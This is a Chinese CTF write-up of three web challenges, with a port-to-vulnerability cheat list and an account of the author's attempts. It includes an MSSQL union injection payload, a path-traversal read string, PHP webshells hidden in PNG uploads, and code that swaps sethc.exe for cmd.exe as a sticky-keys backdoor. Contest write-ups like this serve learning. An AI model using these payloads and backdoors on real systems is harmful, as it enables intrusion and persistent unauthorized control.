WEB1

靶机只扫描到22的ssh端口 那么思路只有一个,只能爆破

用的是一个SSH爆破工具SSH_Crack 百度云下载链接:https://pan.baidu.com/s/1qX9lyZM 然后下几个弱密码字典,放进去跑,然而并没有什么用 最后到结束也没跑出来,跑到怀疑人生。结束后问别队,他们说最后半小时出现了一个5984的端口

+21 ftp

+22 SSH

+23 Telnet

+80 web

+80-89 web

+161 SNMP

+389 LDAP

+443 SSL心脏滴血以及一些web漏洞测试

+445 SMB

+512,513,514 Rexec

+873 Rsync未授权

+1025,111 NFS

+1433 MSSQL

+1521 Oracle:(iSqlPlus Port:5560,7778)

+2082/2083 cpanel主机管理系统登陆 (国外用较多)

+2222 DA虚拟主机管理系统登陆 (国外用较多)

+2601,2604 zebra路由,默认密码zebra

+3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了

+3306 MySQL

+3312/3311 kangle主机管理系统登陆

+3389 远程桌面

+4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网

+5432 PostgreSQL

+5900 vnc

+5984 CouchDB http://xxx:5984/_utils/

+6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导>+致网站被直接篡改或者作为 代理进入内网

+6379 redis未授权

+7001,7002 WebLogic默认弱口令,反序列

+7778 Kloxo主机控制面板登录

+8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上

+8080 tomcat/WDCP主机管理系统,默认弱口令

+8080,8089,9090 JBOSS

+8083 Vestacp主机管理系统 (国外用较多)

+8649 ganglia

+8888 amh/LuManager 主机管理系统默认端口 +9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执>+行漏洞

+10000 Virtualmin/Webmin 服务器虚拟主机管理系统

+11211 memcache未授权访问

+27017,27018 Mongodb未授权访问

+28017 mongodb统计页面

+50000 SAP命令执行

+50070,50030 hadoop默认端口未授权访问

神坑!!! 至于5984端口的利用,就在此留个坑吧,有兴趣的可以查一下资料,本菜就不写了 >毕竟在这题浪费了很多时间,再也不想看到这题,23333

WEB2

MSSQL注入

比赛当时我找到的是一个shop7z的一个通用注入pkid 因为是MSSQL的数据库,不允许limit,故使用order by修改表序列,是一个显式union注入 payload:

Union%0a/!5000SelECt/%0a12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8%0aMSysAccessObjects%0aorder%0aby%0a1

因为是MSSQL,我平时积累不多,且把@@version替换上面数字会出false的页面,就懵逼了 大早上没吃早餐,被雨淋,还被空调吹得晕乎乎的,就就此放弃琢磨了这一道MSSQL注入,说实话还是积累太少。

WEB3

一阶段――上传绕过

第一步扫描:

发现开了很多端口 其中3389和80和8080是我们特别关注的 进去80是一个IIS的建设中的页面,没啥挖掘的 8080是一个Apache搭的应用下载市场 AWVS扫描发现有用的目录遍历漏洞

有问题变量在模板参数tpl处

被设置为../../../../../../../windows/win.ini%00.jpg

科普

还是科普一下 windows/win.ini,可以对照一下你C盘的C:.ini 是一个系统的配置文件 %00是截断符,../回溯至win.ini后将读取win.ini%00.jpg 因为windows的读取特性,后缀名.jpg会被截断,将会读取win.ini达到任意文件读取的目的 然后其他两名队友Jason&&Unk0wn发现有一个图片上传点,但是上传的文件会被改名成静态图像文件,并且上传会过滤PHP等解析格式 随后我就有一个大胆的想法(其实当时只是想死马当活马医) 对,就是用目录遍历漏洞包含图像,使得上传的被我插入一句话木马的静态文件解析成php

尝试

上传点过滤PHP后缀,截断以及该Content-Type无济于事,索性直接上传PNG文件,保留文件头和结束标记,在中间插入一句话 大概是这样子的

<?php system($_POST[1]);echo 1;?>

然后上传之后记录上传路径,将tpl改成静态png的路径。 大概是这样子的

毕竟环境已经关了,无法有更多详细的截图了,实在抱歉

随后发现Png被解析成php了,并且提示,system()由于某些安全原因被禁用了

随后就将一句话构造成这样

<?php 
$a=$_POST[2];
echo $a."\n";
$b = scandir($a,1);
print_r($b);
phpinfo();
?>

同样上传图片,包含新图片路径 庆幸的是phpinfo()是可以执行的,我们将post数据构造成当前目录路径

POST_DATA: 2=getcwd();

执行后得到当前路径以及当前路径所有文件的名字,具体的路径没截图了,反正是C盘下的路径 以及当前目录下的flag_i4_H37e.txt文件 利用上面显示win.ini的方法,包含flag_i4_H37e.txt即可得到传马所得flag200分 ## 分析 因为比赛是有三层靶机,而二层靶机是无法ping通的,所以应该是通过控制WEB3的主机,然后开启ip转发,使得我们能够继续渗透二层靶机。故我们接下来的思路是控制WEB3所在靶机

比赛宕机

发生了两次宕机,其中有一次长达半个多小时,比赛才6个小时欲哭无泪

比赛继续

通过phpinfo可以知道disable_functions=proc_open,passthru,exec,system,shell_exec,,popen 这些函数都被禁用了

proc_open() - 功能描述:执行一个命令并打开文件指针用于读取以及写入。

passthru() - 功能描述:允许执行一个外部程序并回显输出,类似于 exec()。

exec() - 功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。

system() - 功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。

shell_exec() -功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。

popen() - 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

那就十分尴尬了 我们能解析php但是并不能执行系统函数

3389 端口

由于WEB3是开了3389端口,而且我们又能执行php的大部分代码,故我又产生了一个大胆的想法

经典后门――粘滞键后门

  1. 通过php的copy()函数将C:.exe替换成cmd.exe
  2. 3389端口远程连接WEB3的靶机
  3. 狂按shift键,召唤出被替换成cmd.exe的程序sethc.exe

于是将一句换木马插入PNG图片的中间:

<?php
unlink("C:\\Windows\\system32\\sethc.exe");
copy("C:\\Windows\\system32\\cmd.exe","C:\\Windows\\system32\\sethc.exe");
?>

同样的,上传图片木马,包含路径->解析,然后3389连接WEB3靶机,狂按shift键

于是很惊喜地发现,cmd.exe被我们召唤出来了

此处图没有机会没保留

于是输入explorer.exe,回车,召唤出桌面来 DOS权限还是administrator的

通过浏览目录发现了桌面下的flag.txt,拿到了最后200分 由于本菜太愚钝,最后面几分钟才拿到这200分,真刺激

其实我们在构造shift之前我们已经能控制目录,浏览目录,直接找到桌面下的flag.txt了 但是要进入第二层靶机必须要控制WEB3的靶机 故这一步还是十分关键的 虽然后面没有时间用WEB3靶机代理继续渗透二层靶机(比赛完听大佬说二层靶机是wordpress的最近版还是挺难的),也不算太遗憾吧

至此比赛结束

总结

有以下几点: - 以后打比赛一定要吃早餐 - 一定不能淋雨吹空调 - 以及还是太菜,继续努力吧